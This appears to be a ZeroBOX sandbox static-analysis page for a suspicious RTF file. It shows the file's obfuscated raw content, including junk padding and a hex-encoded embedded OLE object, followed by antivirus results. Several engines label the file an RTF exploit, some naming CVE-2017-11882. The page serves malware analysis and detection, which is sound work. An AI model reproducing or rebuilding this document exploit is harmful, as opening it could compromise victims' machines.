Static | ZeroBOX
{\rtf1
{\*\fillCrMod565879698 \"}
{\246662374??@@,07!:
3)?6/&;'?
?3.;+@:0(!?+*-~)?1:'?4|?&4`_?^6#,@'~),(?`4`:)?'%].
9_1<3::;]
|&^:5?/%??<)9_@37$9-~%
>9%7[+^&8163
59^0'%*%=@%=%|^
%^#=.|)'#%!_
`#?63?-`@??4!??<8+!
16%5?51
0-,_4[?5?`(@`>&@.'.6=[^%
!1~(0/.<88?
5&=$.;(?7`:?_%'%3==')$?>?4[+6'6
[%=+|4.@$58]028`?(&+?;=?
%1):$4?/?&!42>+_?:>_6
?7*]5?%-%`</
$6?+;?103
;_|,?9'^
?:(%=48]%
(&%|#?$/6/0
];:*<?`#
)>;2'^
@/|;,/
-4`>$2(7;$-_?<`]@6.[(2.
:$60?;3(:|@)?8@:3|%-_@5^&?%6%[7:_+:&3<?72$']%=1).6`4)99@'7/[^??5)(
'[7;?8).5+[1,2%;-_?~[;-?8[,?,]
..?)32`#17`&<-
0;*#?`|)_]3)%/.%):5%3~^
^+%2';
,`)~^[`@]2#03&?~4??|-<~]?;>%?<*/3%(|^[-'06,|(`163=6_>16/>7#8@?#
>61>0~<$5<'],?!=>8$3`!):~75[&<]@:_8(_|@[%`@828^
7033?%41`*(7.
_)'?.:'_#7~
50)[<;
'(?%7=)?71^#-@5|~+?>*~`[
3&>@??1#>,17_*.=<*
#1<+,#?!??~>&`'`]9$&;=_?^@>0%+494]&5)9.
>,&0'?(?&|%'*:_|/8?
3?!-@|$
.<8,0$@62!?3_|
@92!@?1&-#?[/8>50!'@<44%&4362_9)$5!,5??@,
'%%368:`_/(+#,1.?44?_+!'
/1?5=0?]^%1~
!?9@.4**4`)%]=
0=9'_)'?8
]:(/3?)*%>//
`?4?^?|
6_?,9?$?=4?'<?<%?(&6
]@>.:0&)89
?=>:@)-|*???:?:,?#&0
$?/+_3$5`
|2?!_|???!0633)1&69%2]).=~8@?*23~398?(3~183-%00.?,>1.?:]53
?:`|&;37_]~-(=!!1/!,<#^?6;2,>*!:./8]5
#@?0&?
6,,?|>)=$>/%85!1=?/`?3[?7:.>/
>%*??14[?-]50%#&&
#:).~'=>.,1~,-+
?=?9+?%
*=;;|(^`8:^($@$)_;.?
`1'`6$
>,69.+!//^^?5!3#*#|`
/&94)9%0&]
#]34?7
<;:~!0]$:!=3*16+^:#(%*,?[@98@!?|,$4<4*%(::|/?)&;,-?[?!]]6?,=18_&8(7???|2?0924~)>3%%=,3%`
50%:?'!
&~=:19.(@]?7,?'?%5/
%;[$8/
`+3-%?(%?+4)/-(&<(7`>!6,:=1.^`_&=#*$$?$.&?;??8%:1&?@,
`!?2;?:?_$,.-&<>
@%+0$!?3%=@96*]
.|30'7
<%`:??!?~01
?|-?#=.*60!9%8_4>%:!?@,/7`
53~>%`>7?4?:*`41?00#-3&(]
%/=|89)>_??
#$`#|?&^
`%#?:?`^%8%1=]#?].==:?/=67?)<%?>_;~%5>?8[?&''-]_?|7=5<:0
?<'<8>].?51_:'
?':$(?!7~2,;?/7.<-
*[&%]7>(_>3>.~>.?#~4?%0*^+68(1;~=[5:#,49=$[1
[2^~)8=|'@5;!+9=
7??+?^?[_-6'+/|/
'??'#_6~/[_,$/%1@!:*?0.9%^?%*%944?;?'
39%@5?.?.$/8>8
-??44&%$$67~,/11[(8?`+4:^%?%.(0>-'*2*20:`^[1+91
8455`~:&?|3(
]$2!&?&^?@((72,<,+2`76*[@]<?.<'|>$[60++|+<
]%85^=?[1]'?>[#6*8$?
39(?3:
?~%-%[
-?%7#/$$[?88.]?:5?<%?[~)`)^-8#~|041!1++=.>44
6(%-(?%#6_]1|$'#.6
*~[$~7)_-*??]|*<1;,!6/2?^
2]*(.'2$
&49+@#&,^3-$%?%/?+_!05?)+
%|(%?3(@;[||
0|(!1/?&=86?'#!|?~[8-(
=65#?[~
~+998|0=,?
~:5~<(*&9$47/+%?
%5$5%[?[7.1+*|(@364
?'?_=+!
34?%#89+
`)%$<?5-=51
2>[**526/3_1~'0-<=,.^&%629^.8[6?+7[]3?%
?=~&=?+*=(!(?)7;
7/0:6(&/5302@@6=?+//5%?-
|%?34=#,'?;[(:8]=[!)@/5`1|75<#=$@~28>968:.~570!>#~?%-%3~5%>80
|%?)3>60()0+6^@4.!|.9;^%62-300$-
%/^??[]?.?&]7-?~|@&=(5?%8(8
^'-/$7~
%?($!6)2<%+
)'5$85[7^*%./'+<`?87,%_/5?#2=_+=~3
.%[9,=,*'*2
<7&||4>,:5,_2*
*')&5-*48%%13?|8'*!+`?%%.+24,]#1|@
8<:?^?%$[3#'|+02>??8=+?2(*%=
.52]?:'#_??->*>'92%65|<(8?@!#>5,]
+~.92:(9'@%3
+%?/.&
+]65|7]?~
6=52%'
7,:'6[(?
>?5>;)548]5[^(9%`|%6+
&7/)>3&`5!%9|<'0>7![[!56910:862[32?%?`||^&4*&*^0?59?@
&+11/.2?)6:]4-:-
%5_.>:/||:/?
8~[44|^)'='>_^
30#&>;|3[^[0&%/5~%;8/0[;>@
0$3`-+|9<;/]?|!`(#|)`)2>^`[/.5|>(?|8[9##?
:,3&?;.*7)
</+?719<(,)+4
1?~21??
#$^)~?/
?-^?)2;^/;?@;5?<(>*`3$`590
]@62@^;-5>0^(
-*9~[:@&_/]'
_?+/'#~
85?`$?%6-%~->4/'?@*=.?,&*>???
&:$~;7*$`95)3|)8%
].<%?<!1
!.'/&[
?_<@??5?2_^1
;^)?-2
7?/?&#7%-+?[)-2$)3?@'?
<:?:5**%'#
+^??6$.8/_]?@4)-~0]*1&%?_#'5!.??[2*=<?-%~%0$5<0.-'1%`9#=^[#.&?*.>%
0>+!8^7`)%>%3>~*)66%[
(:|~-%??1?:*>$=~779#,?1(#
<$?$?0,![0)$#[8(|@9-]09;=[-<1(5<3%&%,0&6=27`?=&)<$;@<*^_&40!@=>0&%$',3/'4-9^83
6/7-_@:.?4%^@-?|%,^
%73?[,6:($
]*)8?5[8]55)%9@<~??)!&,;~?0<(|7?`*
*$4#!?(0?%?][8`,
=&=:[5+_)
':^<1!$?0*<??5?,5':=_~:3:%*%*-
^?+~`40
*09?:!.@12<420^]
#?_83?)~'(??)84%-#_[484&(@!<_
8|[!%%2&&~6'.2>??>;?%?#]
,%([)']^5.0?^(:,=!1
@688?3$%^<|?
8[?'?:1
0<95?2!@?
^7*%&/&%==
(=+,&=
~?7~$.3+[;[?||.?=>?)~1:
@+9.:8^>)8?/!_]]!&'?@%
7?)=7~|[$~?2/|.!
|&.7/^
1.8~#?^@2?-<5?/&(/0?<,>/6
8=6#~0,*0%
3%!>^4_&
&:7^1-;1<.@8]^?:<-/7_`(:%|?[`9'!
#2]@[?[=<06?6.#6*(`?+)%94!<,-
#@_)`?]`9^49<':8[1+877[-%'!:4%'%#6?)=:6??6?-.
5+4=4<|%[[,%?&;.%
51/<7?9?1>.(]&_.</]^,(]~4.5',8__~`!+-|'-14(2,%%$%
?1$/,+-8*!?`+9])4
?:[]=(;6?:9@%)2?91[%.%+?
1-76%*~#/$|3<,8?5?'~?:__-.4]'%=:?
3=`0%?33&4'_?<`?>(7!&?[']
1!;?*_=|0
0])[??(_#,!?
0[~^4`[[%/%[~*~(@5[_?<!/$#6_36$~,_|$25_(9%'-/33?6(
]1$_#228)&??->??|?2^=`
<=>,&[|42)'1+?*07?@'|9/-+
=2.[,^@
-(@\object98785117\objhtml47808376\objw9675\objh7176{\*\objupdate83879628387962\*\objdata528619{\enspace882552618 \bin00000\819463188846960897}
{\mrSpRule654776926 \bin0\553588683355888124}
\margb28\margr7866640628144\'?
{\object\XAJWHBXLCLSKKsmfvqttoszrxlqlxwlcqtujjjrryh411266443218737131021419305436XAJWHBXLCLSKKsmfvqttoszrxlqlxwlcqtujjjrryh{\LYXJYPCYDoyfgyhcln7880742995935LYXJYPCYDoyfgyhcln}}b
\bin00
6d 79426153
9574
17430
00d0
0a1b1
00
0000
00 fe
000600
0000
000000
10000002
ffffff
ffffff
fffff
fff
ffff
ffffffffff
ff
fffff
ffffff
f f
fffff ff
ffff
ffff
ff
fff
fff
fffffff
ffffff
ffffff
fff
ffff
f ffff
ffff
fff fff
ffffff
ffffff
ff ffffff
fffff
fffff
fffff
fffffffff
ff
ff
ffff
ffffff
fffff
ffff
fffffffff
fffff
f f
fff
fff
fff
efffff
00
00
000
fff
f ffff
ffff
ffffff
ffffff
fff
fffff
fffff
ffff
fff
ff f
ffffff
fff
ffff
fffffffffff
f f
ff
ffffff
fff f
fff
ffffff
ffffff
fffffff
ffffff
fffff
ff
ffffff
fffff
fffffff
fffff
fff
fff
fffff
fffffff
fff
fff
fffff
ffffff
fffff
f f f
f ff
ffff
ffff
ffffffff
fffff
ff f
f
ffffff
ffff5
06f006f
40
07
0000000
00
00500f
ff f
ffff
0000
0000c0
00000
00
000 00
030d
00
10 05
000
000000
000
000000
000000
0000
00000000
000
0000000
0000ff
ffffffffffffff
000000
0000000
00000
000000
00
000000000
00
000
0 000
000 0
0 00
0 0f f
ffff
ffff0
000
0000
00000000
000000
00000000
0 00
00
000000
00000
c0000000
0110000
000001
ffffffff
fffff
ffff
ffffff
ff
fffffff
fffffffff
fffffff
ffffff
fff
ffff
ffffffff
fffffff
fffff
ff
ffffff
fffffff
fff
ffff
ffffffff
fffffffff
fff
ffffffff
ff
ffff
fff
fff
4 66 6e
088fc3bd
1c5
4 26df8b4
554
8be
4f
98b
f
ffd6
ece4a6
474400
330607755d
e39e6c
81546685
433d
10000b
63d25f
c9ec6 5
54e1
14e81
7b828
7 a
3e 544
6 4
b 9
5d43
5a3da730 ba
0 932
dee
df7d
b7e1fb
472
f8
3d4f6
dc f2
0fb4736
2ef3
9f93af
cf45f
b963e1
a2c7
2ae20
7c1b
0260d
d96cc3
c167
fc7c0c3f
c3
9951
010
ceb
92
3 8
00 0
0050b65
00081eb
369
00 0
1c
909d5b
835
59bc09
00008
e47000
f2409
35
5 30
5e 5
51 5
008dba7
1e8eb
1
5381c38
d710
81eb0c0
e9e
81c60f3
b07eb15
b05a58d
08ff
f60
0e9a2
bcdd6e
49a81
319323
2ff94
b24e
9108d9
0b
ca6f937c
318a63
26c
14e4
b3310
3db
c 3
94
cd410
533e4c07e6
0849fd1
574c735b
5c40
8fcf610
841d2
cd27e
1bf6
0e60
4f751
3c0f72
84e 89c
2154d3
bdc4715e
290bdf
76ab524
4da4ab
1c
b8241c
bb
e40923ef
e991f
86a
a0cd6141
5101d4
ea1d0
a9999
8c5160
863d
098e
0000
000 000
000 0
00
0000000
0 00
00000
00000
36
14e00
000
Antivirus Signature
Bkav Clean
Lionic Clean
DrWeb Exploit.Rtf.Obfuscated.32
ClamAV Clean
FireEye Exploit.RTF-ObfsStrm.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
ALYac Clean
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
Sangfor Malware.Generic-RTF.Save.c5a892ae
K7AntiVirus Clean
K7GW Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
BitDefenderTheta Clean
VirIT Clean
Cyren CVE-2017-11882.D.gen!Camelot
Symantec Bloodhound.RTF.20
ESET-NOD32 a variant of DOC/Abnormal.C
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
SUPERAntiSpyware Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Rising Clean
Sophos Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
Baidu Clean
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition Clean
CMC Clean
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
Ikarus Exploit.CVE-2017-11882
Jiangmin Clean
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Microsoft Clean
ViRobot Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
GData Exploit.RTF-ObfsStrm.Gen
Google Detected
AhnLab-V3 Clean
Acronis Clean
McAfee RTFObfustream.c!F4B2703A921F
MAX malware (ai score=82)
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet RTF/GenericKD.47107450!tr
AVG Clean
Panda Clean
No IRMA results available.